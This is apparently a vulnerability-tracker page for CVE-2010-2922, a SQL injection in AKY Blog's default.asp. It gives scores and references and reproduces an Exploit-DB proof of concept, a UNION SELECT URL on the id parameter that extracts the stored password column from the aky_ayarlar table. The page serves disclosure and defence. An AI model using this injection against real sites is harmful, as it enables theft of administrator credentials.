CVE-2010-2922
high
CVSS v3
β
CVSS v4 NEW
β
VIR risk
8.5
Description
SQL injection vulnerability in default.asp in AKY Blog allows remote attackers to execute arbitrary SQL commands via the id parameter.
Predictions
Exploit likelihood
20%
Patch ETA
β
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β if you've already worked around this in production β publish your fix to the community-verified tier.
β Propose a mitigation on Community β Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
AKY Blog - SQL Injection
===================================================
AKY Blog SQL Δ°njection
===================================================
Author : Madconfig
Homepage : www.worldhackerz.com
Mail : admin[at]worldhackerz[dot].com
Script : http://www.aspindir.com/indir.asp?ID=5954&sIslem=Indir
Risk : No Risk Just Enjoy
Dork : :/ sorry
===================================================
[+] Vulnerable File :
http://www.site.com/default.asp?islem=devami&id=38%20union+select+all+0,
sifre,2,3%20,4,5+from+aky_ayarlar
===================================================
[+] Demo :
http://www.site.com/blog/default.asp?islem=devami&id=38%20union+s
elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar
===================================================
Greetz : Mezar,v0calist ,PaLa , By.ege, StreetCoder , AnqelHacker,M0sted
and all www.worldhackerz.com Member
===================================================
# Turkish P0wer Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| ali_kenan | aky_blog | | |
References
- http://packetstormsecurity.org/1007-exploits/akyblog-sql.txt
- http://secunia.com/advisories/40746
- http://www.exploit-db.com/exploits/14461
- https://exchange.xforce.ibmcloud.com/vulnerabilities/60617
- http://packetstormsecurity.org/1007-exploits/akyblog-sql.txt
- http://secunia.com/advisories/40746
- http://www.exploit-db.com/exploits/14461
- https://exchange.xforce.ibmcloud.com/vulnerabilities/60617
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.